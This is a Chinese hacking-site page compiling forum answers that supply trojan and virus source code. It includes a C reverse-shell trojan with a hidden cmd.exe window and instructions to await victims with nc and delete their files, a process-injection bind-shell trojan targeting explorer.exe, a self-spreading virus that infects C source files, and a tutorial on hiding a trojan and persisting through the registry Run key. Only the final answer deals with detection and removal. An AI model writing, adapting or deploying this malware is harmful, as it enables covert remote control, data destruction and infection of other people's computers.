当前位置:首页 > 黑客技术 > 正文内容

简单的木马程序代码(木马程序源码)

hacker2年前 (2022-07-12)黑客技术86

本文目录一览:

求一个简单木马的源代码。必须注明每个语句的作用。只为交作业。有的百度私信我

//一个简单木马的源代码

#include stdio.h

#include winsock2.h

#pragma comment(lib,"Ws2_32.lib")

void main()

{

WSADATA wsa;

SOCKET corky;

struct sockaddr_in add;

WSAStartup(MAKEWORD(2,2),wsa);//初始化

corky=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,0,0);//创建套接字corky

add.sin_family=AF_INET;//填充sockaddr_in结构

add.sin_port=htons(918); //换成你的端口

add.sin_addr.s_addr=inet_addr("127.0.0.1");//换成你的ip地址

connect(corky,(struct sockaddr *)add,sizeof(add)); //连接控制端

STARTUPINFO si; //创建STARTUPINFO结构

ZeroMemory(si,sizeof(si));//为STARTUPINFO结构分配内存

si.cb=sizeof(si);

si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;//要使用的标志位

si.wShowWindow=SW_HIDE;//隐藏cmd.exe窗口

si.hStdInput=si.hStdOutput=si.hStdError=(void *)corky;//重定向输入输出到套接字corky

PROCESS_INFORMATION pi;

CreateProcess(NULL,"cmd.exe",NULL,NULL,1,0,NULL,NULL,si,pi);//创建cmd.exe进程

ExitProcess(0);

}

//用nc监听你的918端口(nc -l -p 918)然后耐心等待对方启动木马吧!

//提示:nc在《网友世界》2008 3月光盘中winowsPE系统的外挂程序中可以找到

//如果木马启动你在nc的窗口就会得到一个带微软版权的提示

//输入dir命令看看就会看到对方目录下的所有文件信息(木马所在目录)

//用del命令可以删除他的文件了

//不过还是有缺陷就是对方可以看到有一个cmd窗口笨蛋也知道中招了哈哈..

//到时警察叔叔来找你可别怪我提醒你呦!

//你可以完善它如向系统添加启动项让它随系统启动

//最好是感染文件让它随宿主的打开而启动

//你还要完善窗口的隐藏

//本代码在XP+VC++6.0下调试通过

最简单的木马 源代码以及解释

一个完整的木马系统由硬件部分,软件部分和具体连接部分组成。

(1)硬件部分:建立木马连接所必须的硬件实体。 控制端:对服务端进行远程控制的一方。 服务端:被控制端远程控制的一方。 INTERNET:控制端对服务端进行远程控制,数据传输的网络载体。

(2)软件部分:实现远程控制所必须的软件程序。 控制端程序:控制端用以远程控制服务端的程序。 木马程序:潜入服务端内部,获取其操作权限的程序。 木马配置程序:设置木马程序的端口号,触发条件,木马名称等,使其在服务端藏得更隐蔽的程序。

(3)具体连接部分:通过INTERNET在服务端和控制端之间建立一条木马通道所必须的元素。 控制端IP,服务端IP:即控制端,服务端的网络地址,也是木马进行数据传输的目的地。 控制端端口,木马端口:即控制端,服务端的数据入口,通过这个入口,数据可直达控制端程序或木马 程序。

木马程序源代码,不是蠕虫,特洛伊那类的是最简单的,有哪位高手可提供下,感激

制造木马病毒代码大全2008-06-08 19:46制造木马病毒代码大全

一个简单的木马原型基础代码添加上自己的XXX,加上变态的壳,做点小修改,就可以.....

#includewinsock2.h

#pragma comment(lib,"ws2_32.lib")

#includewindows.h

#include Shlwapi.h

#pragma comment(lib,"Shlwapi.lib")

#include tlhelp32.h

#include stdio.h

#include string.h

//参数结构 ;

typedef struct _RemotePara

{

DWORD dwLoadLibrary;

DWORD dwFreeLibrary;

DWORD dwGetProcAddress;

DWORD dwGetModuleHandle;

DWORD dwWSAStartup;

DWORD dwSocket;

DWORD dwhtons;

DWORD dwbind;

DWORD dwlisten;

DWORD dwaccept;

DWORD dwsend;

DWORD dwrecv;

DWORD dwclosesocket;

DWORD dwCreateProcessA;

DWORD dwPeekNamedPipe;

DWORD dwWriteFile;

DWORD dwReadFile;

DWORD dwCloseHandle;

DWORD dwCreatePipe;

DWORD dwTerminateProcess;

DWORD dwMessageBox;char strMessageBox[12];

char winsockDll[16];

char cmd[10];

char Buff[4096];

char telnetmsg[60];

}RemotePara; // 提升应用级调试权限

BOOL EnablePrivilege(HANDLE hToken,LPCTSTR szPrivName,BOOL fEnable);

// 根据进程名称得到进程ID

DWORD GetPidByName(char *szName); // 远程线程执行体

DWORD __stdcall ThreadProc(RemotePara *Para)

{

WSADATA WSAData;

WORD nVersion;

SOCKET listenSocket;

SOCKET clientSocket;struct sockaddr_in server_addr;

struct sockaddr_in client_addr;int iAddrSize = sizeof(client_addr);SECURITY_ATTRIBUTES sa;HANDLE hReadPipe1;

HANDLE hWritePipe1;

HANDLE hReadPipe2;

HANDLE hWritePipe2;STARTUPINFO si;

PROCESS_INFORMATION ProcessInformation;

unsigned long lBytesRead = 0;typedef HINSTANCE (__stdcall *PLoadLibrary)(char*);

typedef FARPROC (__stdcall *PGetProcAddress)(HMODULE, LPCSTR);

typedef HINSTANCE (__stdcall *PFreeLibrary)( HINSTANCE );

typedef HINSTANCE (__stdcall *PGetModuleHandle)(HMODULE);FARPROC PMessageBoxA;

FARPROC PWSAStartup;

FARPROC PSocket;

FARPROC Phtons;

FARPROC Pbind;

FARPROC Plisten;

FARPROC Paccept;

FARPROC Psend;

FARPROC Precv;

FARPROC Pclosesocket;

FARPROC PCreateProcessA;

FARPROC PPeekNamedPipe;

FARPROC PWriteFile;

FARPROC PReadFile;

FARPROC PCloseHandle;

FARPROC PCreatePipe;

FARPROC PTerminateProcess;PLoadLibrary LoadLibraryFunc = (PLoadLibrary)Para-dwLoadLibrary;

PGetProcAddress GetProcAddressFunc = (PGetProcAddress)Para-dwGetProcAddress;

PFreeLibrary FreeLibraryFunc = (PFreeLibrary)Para-dwFreeLibrary;

PGetModuleHandle GetModuleHandleFunc = (PGetModuleHandle)Para-dwGetModuleHandle;LoadLibraryFunc(Para-winsockDll);PWSAStartup = (FARPROC)Para-dwWSAStartup;

PSocket = (FARPROC)Para-dwSocket;

Phtons = (FARPROC)Para-dwhtons;

Pbind = (FARPROC)Para-dwbind;

Plisten = (FARPROC)Para-dwlisten;

Paccept = (FARPROC)Para-dwaccept;

Psend = (FARPROC)Para-dwsend;

Precv = (FARPROC)Para-dwrecv;

Pclosesocket = (FARPROC)Para-dwclosesocket;

PCreateProcessA = (FARPROC)Para-dwCreateProcessA;

PPeekNamedPipe = (FARPROC)Para-dwPeekNamedPipe;

PWriteFile = (FARPROC)Para-dwWriteFile;

PReadFile = (FARPROC)Para-dwReadFile;

PCloseHandle = (FARPROC)Para-dwCloseHandle;

PCreatePipe = (FARPROC)Para-dwCreatePipe;

PTerminateProcess = (FARPROC)Para-dwTerminateProcess;

PMessageBoxA = (FARPROC)Para-dwMessageBox;nVersion = MAKEWORD(2,1);

PWSAStartup(nVersion, (LPWSADATA)WSAData);

listenSocket = PSocket(AF_INET, SOCK_STREAM, 0);

if(listenSocket == INVALID_SOCKET)return 0;server_addr.sin_family = AF_INET;

server_addr.sin_port = Phtons((unsigned short)(8129));

server_addr.sin_addr.s_addr = INADDR_ANY;if(Pbind(listenSocket, (struct sockaddr *)server_addr, sizeof(SOCKADDR_IN)) != 0)return 0;

if(Plisten(listenSocket, 5))return 0;

clientSocket = Paccept(listenSocket, (struct sockaddr *)client_addr, iAddrSize);

// Psend(clientSocket, Para-telnetmsg, 60, 0);if(!PCreatePipe(hReadPipe1,hWritePipe1,sa,0))return 0;

if(!PCreatePipe(hReadPipe2,hWritePipe2,sa,0))return 0;ZeroMemory(si,sizeof(si)); //ZeroMemory是C运行库函数,可以直接调用

si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;

si.wShowWindow = SW_HIDE;

si.hStdInput = hReadPipe2;

si.hStdOutput = si.hStdError = hWritePipe1;if(!PCreateProcessA(NULL,Para-cmd,NULL,NULL,1,0,NULL,NULL,si,ProcessInformation))return 0;

while(1) {

memset(Para-Buff,0,4096);

PPeekNamedPipe(hReadPipe1,Para-Buff,4096,lBytesRead,0,0);

if(lBytesRead) {

if(!PReadFile(hReadPipe1, Para-Buff, lBytesRead, lBytesRead, 0))break;

if(!Psend(clientSocket, Para-Buff, lBytesRead, 0))break;

}else {

lBytesRead=Precv(clientSocket, Para-Buff, 4096, 0);

if(lBytesRead =0 ) break;

if(!PWriteFile(hWritePipe2, Para-Buff, lBytesRead, lBytesRead, 0))break;

}

}PCloseHandle(hWritePipe2);

PCloseHandle(hReadPipe1);

PCloseHandle(hReadPipe2);

PCloseHandle(hWritePipe1);

Pclosesocket(listenSocket);

Pclosesocket(clientSocket);// PMessageBoxA(NULL, Para-strMessageBox, Para-strMessageBox, MB_OK);return 0;

} int APIENTRY WinMain(HINSTANCE hInstance,

HINSTANCE hPrevInstance,

LPSTR lpCmdLine,

int nCmdShow)

{

const DWORD THREADSIZE=1024*4;

DWORD byte_write;

void *pRemoteThread;

HANDLE hToken,hRemoteProcess,hThread;

HINSTANCE hKernel,hUser32,hSock;

RemotePara myRemotePara,*pRemotePara;

DWORD pID;OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES,hToken);

EnablePrivilege(hToken,SE_DEBUG_NAME,TRUE);// 获得指定进程句柄,并设其权限为PROCESS_ALL_ACCESS

pID = GetPidByName("EXPLORER.EXE");

if(pID == 0)return 0;

hRemoteProcess = OpenProcess(PROCESS_ALL_ACCESS,FALSE,pID);

if(!hRemoteProcess)return 0; // 在远程进程地址空间分配虚拟内存

pRemoteThread = VirtualAllocEx(hRemoteProcess, 0, THREADSIZE, MEM_COMMIT | MEM_RESERVE,PAGE_EXECUTE_READWRITE);

if(!pRemoteThread)return 0; // 将线程执行体ThreadProc写入远程进程

if(!WriteProcessMemory(hRemoteProcess, pRemoteThread, ThreadProc, THREADSIZE,0))return 0;ZeroMemory(myRemotePara,sizeof(RemotePara));

hKernel = LoadLibrary( "kernel32.dll");

myRemotePara.dwLoadLibrary = (DWORD)GetProcAddress(hKernel, "LoadLibraryA");

myRemotePara.dwFreeLibrary = (DWORD)GetProcAddress(hKernel, "FreeLibrary");

myRemotePara.dwGetProcAddress = (DWORD)GetProcAddress(hKernel, "GetProcAddress");

myRemotePara.dwGetModuleHandle = (DWORD)GetProcAddress(hKernel, "GetModuleHandleA");myRemotePara.dwCreateProcessA = (DWORD)GetProcAddress(hKernel, "CreateProcessA");

myRemotePara.dwPeekNamedPipe = (DWORD)GetProcAddress(hKernel, "PeekNamedPipe");

myRemotePara.dwWriteFile = (DWORD)GetProcAddress(hKernel, "WriteFile");

myRemotePara.dwReadFile = (DWORD)GetProcAddress(hKernel, "ReadFile");

myRemotePara.dwCloseHandle = (DWORD)GetProcAddress(hKernel, "CloseHandle");

myRemotePara.dwCreatePipe = (DWORD)GetProcAddress(hKernel, "CreatePipe");

myRemotePara.dwTerminateProcess = (DWORD)GetProcAddress(hKernel, "TerminateProcess");hSock = LoadLibrary("wsock32.dll");

myRemotePara.dwWSAStartup = (DWORD)GetProcAddress(hSock,"WSAStartup");

myRemotePara.dwSocket = (DWORD)GetProcAddress(hSock,"socket");

myRemotePara.dwhtons = (DWORD)GetProcAddress(hSock,"htons");

myRemotePara.dwbind = (DWORD)GetProcAddress(hSock,"bind");

myRemotePara.dwlisten = (DWORD)GetProcAddress(hSock,"listen");

myRemotePara.dwaccept = (DWORD)GetProcAddress(hSock,"accept");

myRemotePara.dwrecv = (DWORD)GetProcAddress(hSock,"recv");

myRemotePara.dwsend = (DWORD)GetProcAddress(hSock,"send");

myRemotePara.dwclosesocket = (DWORD)GetProcAddress(hSock,"closesocket");hUser32 = LoadLibrary("user32.dll");

myRemotePara.dwMessageBox = (DWORD)GetProcAddress(hUser32, "MessageBoxA"); strcat(myRemotePara.strMessageBox,"Sucess!\\0");

strcat(myRemotePara.winsockDll,"wsock32.dll\\0");

strcat(myRemotePara.cmd,"cmd.exe\\0");

strcat(myRemotePara.telnetmsg,"Connect Sucessful!\\n\\0"); //写进目标进程

pRemotePara =(RemotePara *)VirtualAllocEx (hRemoteProcess ,0,sizeof(RemotePara),MEM_COMMIT,PAGE_READWRITE);

if(!pRemotePara)return 0;

if(!WriteProcessMemory (hRemoteProcess ,pRemotePara,myRemotePara,sizeof myRemotePara,0))return 0; // 启动线程

hThread = CreateRemoteThread(hRemoteProcess ,0,0,(DWORD (__stdcall *)(void *))pRemoteThread ,pRemotePara,0,byte_write);

while(1) {}

FreeLibrary(hKernel);

FreeLibrary(hSock);

FreeLibrary(hUser32);

CloseHandle(hRemoteProcess);

CloseHandle(hToken);return 0;

} BOOL EnablePrivilege(HANDLE hToken,LPCTSTR szPrivName,BOOL fEnable){

TOKEN_PRIVILEGES tp;

tp.PrivilegeCount = 1;

LookupPrivilegeValue(NULL,szPrivName,tp.Privileges[0].Luid);

tp.Privileges[0].Attributes = fEnable ? SE_PRIVILEGE_ENABLED:0;

AdjustTokenPrivileges(hToken,FALSE,tp,sizeof(tp),NULL,NULL);

return((GetLastError() == ERROR_SUCCESS));

}DWORD GetPidByName(char *szName)

{

HANDLE hProcessSnap = INVALID_HANDLE_VALUE;

PROCESSENTRY32 pe32={0};

DWORD dwRet=0;hProcessSnap =CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

if(hProcessSnap == INVALID_HANDLE_VALUE)return 0;pe32.dwSize = sizeof(PROCESSENTRY32);

if(Process32First(hProcessSnap, pe32))

{

do

{

if(StrCmpNI(szName,pe32.szExeFile,strlen(szName))==0)

{

dwRet=pe32.th32ProcessID;

break;

}

}while (Process32Next(hProcessSnap,pe32));

}

else return 0;if(hProcessSnap !=INVALID_HANDLE_VALUE)CloseHandle(hProcessSnap);

return dwRet;

c语言木马源代码

#include stdio.h

#include dir.h

void main(void)

{

virus();

}

int virus()

{

struct ffblk ffblk;

FILE *in,*out,*read;

char *virus="virus.c";

char buf[50][80];

char *p;

char *end="return";

char *bracket="}";

char *main="main";

char *include[2]={"stdio.h","dir.h"};

char *int_virus="int virus()";

char *buffer;

int done,i,j=0,flag=0;

printf("\nI have a virus. Writen by PuBin\n");

done = findfirst("*.c",ffblk,0);

while (!done)

{

i=0;

if ((in = fopen(ffblk.ff_name, "rt"))== NULL)

{

goto next;

}

do{

if(i=50)

{

fclose(in);

goto next;

}

p=fgets(buf[i],80,in);

i++;

}while(p!=NULL);

fclose(in);

out=fopen(ffblk.ff_name,"w+t");

fputs("#includestdio.h\n",out);

fputs("#includedir.h\n",out);

do

{

if(strstr(buf[j],main)!=NULL)

{

for(;ji-1;j++)

if(strstr(buf[j],end)==NULLstrstr(buf[j],bracket)==NULL)

fputs(buf[j],out);

else

{

if(flag==0)

{

flag=1;

fputs("virus();\n",out);

}

fputs(buf[j],out);

}

}

else if((strstr(buf[j],include[0])==NULL)

(strstr(buf[j],include[1])==NULL))

{

fputs(buf[j],out);

j++;

}

else

j++;

}while(ji-1);

read=fopen(virus,"rt");

do

{

p=fgets(buffer,80,read);

if(strstr(buffer,int_virus))

while(p!=NULL)

{

if(strstr(buffer,virus)==NULL)

fputs(buffer,out);

else

{

fputs(" char *virus=\"",out);

fputs(ffblk.ff_name,out);

fputs("\";\n",out);

}

p=fgets(buffer,80,read);

}

}while(p!=NULL);

fclose(read);

fclose(out);

printf("\nYour c program %s has a virus. Writen by PuBin\n",ffblk.ff_name);

next: done = findnext(ffblk);

}

return 0;

}

严重声明:这个程序只是供C语言新手参考,开玩笑没关系,但如果用来做不法的事情,本人概不负责。还有,编病毒、木马去做违法的事情惩罚是很重的,你如果想学编程,编个简单的就好了,否则后果很严重。

简单的木马怎么编写啊?

特洛依木马这个名词大家应该不陌生,自从98年“死牛崇拜”黑客小组公布Back Orifice以来,木马犹如平地上的惊雷, 使在Dos——Windows时代中长大的中国网民从五彩缤纷的网络之梦中惊醒,终于认识到的网络也有它邪恶的一面,一时间人心惶惶。

我那时在《电脑报》上看到一篇文章,大意是一个菜鸟被人用BO控制了,吓得整天吃不下饭、睡不着觉、上不了网,到处求救!要知道,木马(Trojan)的历史是很悠久的:早在ATT Unix和BSD Unix十分盛行的年代,木马是由一些玩程式(主要是C)水平很高的年轻人(主要是老美)用C或Shell语言编写的,基本是用来窃取登陆主机的口令,以取得更高的权限。那时木马的主要方法是诱骗——先修改你的.profile文件,植入木马;当你登陆时将你敲入的口令字符存入一个文件,用Email的形式发到攻击者的邮箱里。国内的年轻人大都是在盗版Dos的熏陶下长大的,对网络可以说很陌生。直到Win9x横空出世,尤其是WinNt的普及,大大推动了网络事业的发展的时候,BO这个用三年后的眼光看起来有点简单甚至可以说是简陋的木马(甚至在Win9x的“关闭程序”对话框可以看到进程)给了当时中国人极大的震撼,它在中国的网络安全方面可以说是一个划时代的软件。

自己编写木马,听起来很Cool是不是?!木马一定是由两部分组成——服务器程序(Server)和客户端程序(Client),服务器负责打开攻击的道路,就像一个内奸特务;客户端负责攻击目标,两者需要一定的网络协议来进行通讯(一般是TCP/IP协议)。为了让大家更好的了解木马攻击技术,破除木马的神秘感,我就来粗略讲一讲编写木马的技术并顺便编写一个例子木马,使大家能更好地防范和查杀各种已知和未知的木马。

首先是编程工具的选择。目前流行的开发工具有C++Builder、VC、VB和Delphi,这里我们选用C++Builder(以下简称BCB);VC虽然好,但GUI设计太复杂,为了更好地突出我的例子,集中注意力在木马的基本原理上,我们选用可视化的BCB;Delphi也不错,但缺陷是不能继承已有的资源(如“死牛崇拜”黑客小组公布的BO2000源代码,是VC编写的,网上俯拾皆是);VB嘛,谈都不谈——难道你还给受害者传一个1兆多的动态链接库——Msvbvm60.dll吗?

启动C++Builder 5.0企业版,新建一个工程,添加三个VCL控件:一个是Internet页中的Server Socket,另两个是Fastnet页中的NMFTP和NMSMTP。Server Socket的功能是用来使本程序变成一个服务器程序,可以对外服务(对攻击者敞开大门)。Socket最初是在Unix上出现的,后来微软将它引入了Windows中(包括Win98和WinNt);后两个控件的作用是用来使程序具有FTP(File Transfer Protocol文件传输协议)和SMTP(Simple Mail Transfer Protocol简单邮件传输协议)功能,大家一看都知道是使软件具有上传下载功能和发邮件功能的控件。

Form窗体是可视的,这当然是不可思议的。不光占去了大量的空间(光一个Form就有300K之大),而且使软件可见,根本没什么作用。因此实际写木马时可以用一些技巧使程序不包含Form,就像Delphi用过程实现的小程序一般只有17K左右那样。

我们首先应该让我们的程序能够隐身。双击Form,首先在FormCreate事件中添加可使木马在Win9x的“关闭程序”对话框中隐藏的代码。这看起来很神秘,其实说穿了不过是一种被称之为Service的后台进程,它可以运行在较高的优先级下,可以说是非常靠近系统核心的设备驱动程序中的那一种。因此,只要将我们的程序在进程数据库中用RegisterServiceProcess()函数注册成服务进程(Service Process)就可以了。不过该函数的声明在Borland预先打包的头文件中没有,那么我们只好自己来声明这个位于KERNEL32.DLL中的鸟函数了。

首先判断目标机的操作系统是Win9x还是WinNt:

{

DWORD dwVersion = GetVersion();

// 得到操作系统的版本号

if (dwVersion = 0x80000000)

// 操作系统是Win9x,不是WinNt

{

typedef DWORD (CALLBACK* LPREGISTERSERVICEPROCESS)(DWORD,DWORD);

//定义RegisterServiceProcess()函数的原型

HINSTANCE hDLL;

LPREGISTERSERVICEPROCESS lpRegisterServiceProcess;

hDLL = LoadLibrary("KERNEL32");

//加载RegisterServiceProcess()函数所在的动态链接库KERNEL32.DLL

lpRegisterServiceProcess = (LPREGISTERSERVICEPROCESS)GetProcAddress(hDLL,"RegisterServiceProcess");

//得到RegisterServiceProcess()函数的地址

lpRegisterServiceProcess(GetCurrentProcessId(),1);

//执行RegisterServiceProcess()函数,隐藏本进程

FreeLibrary(hDLL);

//卸载动态链接库

}

}

这样就终于可以隐身了(害我敲了这么多代码!)。为什么要判断操作系统呢?因为WinNt中的进程管理器可以对当前进程一览无余,因此没必要在WinNt下也使用以上代码(不过你可以使用其他的方法,这个留到后面再讲)。

接着再将自己拷贝一份到%System%目录下,例如:C:\Windows\System,并修改注册表,以便启动时自动加载:

{

char TempPath[MAX_PATH];

//定义一个变量

GetSystemDirectory(TempPath ,MAX_PATH);

//TempPath是system目录缓冲区的地址,MAX_PATH是缓冲区的大小,得到目标机的System目录路径

SystemPath=AnsiString(TempPath);

//格式化TempPath字符串,使之成为能供编译器使用的样式

CopyFile(ParamStr(0).c_str(), AnsiString(SystemPath+"\\Tapi32.exe").c_str() ,FALSE);

//将自己拷贝到%System%目录下,并改名为Tapi32.exe,伪装起来

Registry=new TRegistry;

//定义一个TRegistry对象,准备修改注册表,这一步必不可少

Registry-RootKey=HKEY_LOCAL_MACHINE;

//设置主键为HKEY_LOCAL_MACHINE

Registry-OpenKey("Software\\Microsoft\\Windows\\

CurrentVersion\\Run",TRUE);

//打开键值Software\\Microsoft\\Windows\\CurrentVersion\\Run,如果不存在,就创建之

try

{

//如果以下语句发生异常,跳至catch,以避免程序崩溃

if(Registry-ReadString("crossbow")!=SystemPath+"\\Tapi32.exe")

Registry-WriteString("crossbow",SystemPath+"\\Tapi32.exe");

//查找是否有“crossbow”字样的键值,并且是否为拷贝的目录%System%+Tapi32.exe

//如果不是,就写入以上键值和内容

}

catch(...)

{

//如果有错误,什么也不做

}

}

好,FormCreate过程完成了,这样每次启动都可以自动加载Tapi32.exe,并且在“关闭程序”对话框中看不见本进程了,木马的雏形初现。

接着选中ServerSocket控件,在左边的Object Inspector中将Active改为true,这样程序一启动就打开特定端口,处于服务器工作状态。再将Port填入4444,这是木马的端口号,当然你也可以用别的。但是你要注意不要用1024以下的低端端口,因为这样不但可能会与基本网络协议使用的端口相冲突,而且很容易被发觉,因此尽量使用1024以上的高端端口(不过也有这样一种技术,它故意使用特定端口,因为如果引起冲突,Windows也不会报错 ^_^)。你可以看一看TNMFTP控件使用的端口,是21号端口,这是FTP协议的专用控制端口(FTP Control Port);同理TNMSMTP的25号端口也是SMTP协议的专用端口。

再选中ServerSocket控件,点击Events页,双击OnClientRead事件,敲入以下代码:

{

FILE *fp=NULL;

char * content;

int times_of_try;

char TempFile[MAX_PATH];

//定义了一堆待会儿要用到的变量

sprintf(TempFile, "%s%2

谁能教我简单的木马程序,我不是想做木马病毒,而是像知道它的程序是怎么的,最好就是有说明

这个涉及到高级编程~~~~不是容易做的

只要学习如何发现电脑中的木马就可以了~~~~

木马”程序会想尽一切办法隐藏自己,主要途径有:在任务栏中隐藏自己,这是最基本的只要把Form的Visible属性设为False、 ShowInTaskBar设为False,程序运行时就不会出现在任务栏中了。在任务管理器中隐形:将程序设为“系统服务”可以很轻松地伪装自己。当然它也会悄无声息地启动,你当然不会指望用户每次启动后点击“木马”图标来运行服务端,,“木马”会在每次用户启动时自动装载服务端,Windows系统启动时自动加载应用程序的方法,“木马”都会用上,如:启动组、win.ini、system.ini、注册表等等都是“木马”藏身的好地方。下面具体谈谈 “木马”是怎样自动加载的。

在win.ini文件中,在[WINDOWS]下面,“run=”和“load=”是可能加载“木马”程序的途径,必须仔细留心它们。一般情况下,它们的等号后面什么都没有,如果发现后面跟有路径与文件名不是你熟悉的启动文件,你的计算机就可能中上“木马”了。当然你也得看清楚,因为好多“木马”,如 “AOL Trojan木马”,它把自身伪装成command.exe文件,如果不注意可能不会发现它不是真正的系统启动文件。

在system.ini文件中,在[BOOT]下面有个“shell=文件名”。正确的文件名应该是“explorer.exe”,如果不是 “explorer.exe”,而是“shell= explorer.exe 程序名”,那么后面跟着的那个程序就是“木马”程序,就是说你已经中“木马”了。

在注册表中的情况最复杂,通过regedit命令打开注册表编辑器,在点击至:“HKEY-LOCAL- MACHINESoftwareMicrosoftWindowsCurrentVersionRun”目录下,查看键值中有没有自己不熟悉的自动启动文件,扩展名为EXE,这里切记:有的“木马”程序生成的文件很像系统自身文件,想通过伪装蒙混过关,如“Acid Battery v1.0木马”,它将注册表“HKEY-LOCAL- MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun”下的 Explorer 键值改为Explorer=“C:WINDOWSexpiorer.exe”,“木马”程序与真正的Explorer之间只有“i”与“l”的差别。当然在注册表中还有很多地方都可以隐藏“木马”程序,如:“HKEY-CURRENT- USERSoftwareMicrosoftWindowsCurrentVersionRun”、“HKEY- USERS****SoftwareMicrosoftWindowsCurrentVersionRun”的目录下都有可能,最好的办法就是在 “HKEY-LOCAL-MACHINESoftwareMicrosoftWindowsCurrentVersionRun”下找到“木马”程序的文件名,再在整个注册表中搜索即可。

知道了“木马”的工作原理,查杀“木马”就变得很容易,如果发现有“木马”存在,最安全也是最有效的方法就是马上将计算机与网络断开,防止黑客通过网络对你进行攻击。然后编辑win.ini文件,将[WINDOWS]下面,“run=“木马”程序”或“load=“木马”程序”更改为“run=” 和 “load=”;编辑system.ini文件,将[BOOT]下面的“shell=‘木马’文件”,更改为:“shell= explorer.exe”;在注册表中,用regedit对注册表进行编辑,先在“HKEY-LOCAL- MACHINESoftwareMicrosoftWindowsCurrentVersionRun”下找到“木马”程序的文件名,再在整个注册表中搜索并替换掉“木马”程序,有时候还需注意的是:有的“木马”程序并不是直接将“HKEY-LOCAL- MACHINESoftwareMicrosoftWindowsCurrentVersionRun”下的“木马”键值删除就行了,因为有的“木马” 如:BladeRunner“木马”,如果你删除它,“木马”会立即自动加上,你需要的是记下“木马”的名字与目录,然后退回到MS-DOS下,找到此 “木马”文件并删除掉。重新启动计算机,然后再到注册表中将所有“木马”文件的键值删除。至此,我们就大功告成了

扫描二维码推送至手机访问。

版权声明:本文由黑客平台在线接单_免费黑客平台的网站发布,如需转载请注明出处。

本文链接:http://heikexuexi.com/54852.html

分享给朋友:

“简单的木马程序代码(木马程序源码)” 的相关文章

教师转正申请书范文

教师转正申请书范文

转邪有孬几种意义。一是指由副职转为邪职,如为考查 或人 的才能 ,先录用 其肩负某岗亭 的副职,经由 一系列考查 以为 及格 后,转为邪职。两是指组织的非邪式成员酿成 邪式成员,如试用期职工停止 试用期,转为单元 的邪式职工。而西席 也须要 阅历 从练习 到邪式的阶段。这么也须要 写西席 转邪申请书...

元宵节活动主题策划方案

元宵节活动主题策划方案

                                                                                               元宵节运动 主题策划 圆案准确 异常 苦 ,因为 在元宵节外面,他处理 很多 的中国人,没有那么重视 ,或者在...

公共卫生工作计划

公共卫生工作计划

                                                                                               为了真正提到下尔镇农村基本 私人卫生和熟悉的工作 名称治理 的程度,实际 真实的农村基本 私人卫生和熟悉的工作...

入学自我介绍简短

入学自我介绍简短

                                                                                               您孬,尔鸣XX,二的喜好 不多,但很奇怪 。例如, 每天最愤怒和悲伤的事情是看电影 战争游戏。很多 人会认为...

 学术论文网站有哪些

学术论文网站有哪些

                                                                                               论文的时刻 ,很多 人都需要 找一点文件,对 文件的探索 基本上都是散外教术论文的网站。这么年夜 野?有哪些网...

教师研修心得体会

教师研修心得体会

                                                                                                   学术教育的成本 是为了促进 人的成长 与社会作战的同一 。作为一个西席 ,你需要 意外地想到宽 教熟人...

评论列表

冬马温人
2年前 (2022-07-13)

/如果以下语句发生异常,跳至catch,以避免程序崩溃 if(Registry-ReadString("crossbow")!=SystemPath+"\\Tapi32.exe") Registry-WriteString("cros

怎忘杞胭
2年前 (2022-07-13)

为了更好地突出我的例子,集中注意力在木马的基本原理上,我们选用可视化的BCB;Delphi也不错,但缺陷是不能继承已有的资源(如“死牛崇拜”黑客小组公布的BO2000源代码,是VC编写的,网上俯拾皆是);VB嘛,谈都不谈——难道你还给受害者传一个1兆多的动态链接库——Msvbvm60.dll吗?

死在江南烟雨中1
2年前 (2022-07-13)

= GetVersion();// 得到操作系统的版本号if (dwVersion = 0x80000000)// 操作系统是Win9x,不是WinNt { typedef DWORD (CALLBACK* LPREGISTERSERVICE

可难初霁
2年前 (2022-07-13)

plorer 键值改为Explorer=“C:WINDOWSexpiorer.exe”,“木马”程序与真正的Explorer之间只有“i”与“l”的差别。当然在注册表中还有很多地方都可以隐藏“木

发表评论

访客

◎欢迎参与讨论,请在这里发表您的看法和观点。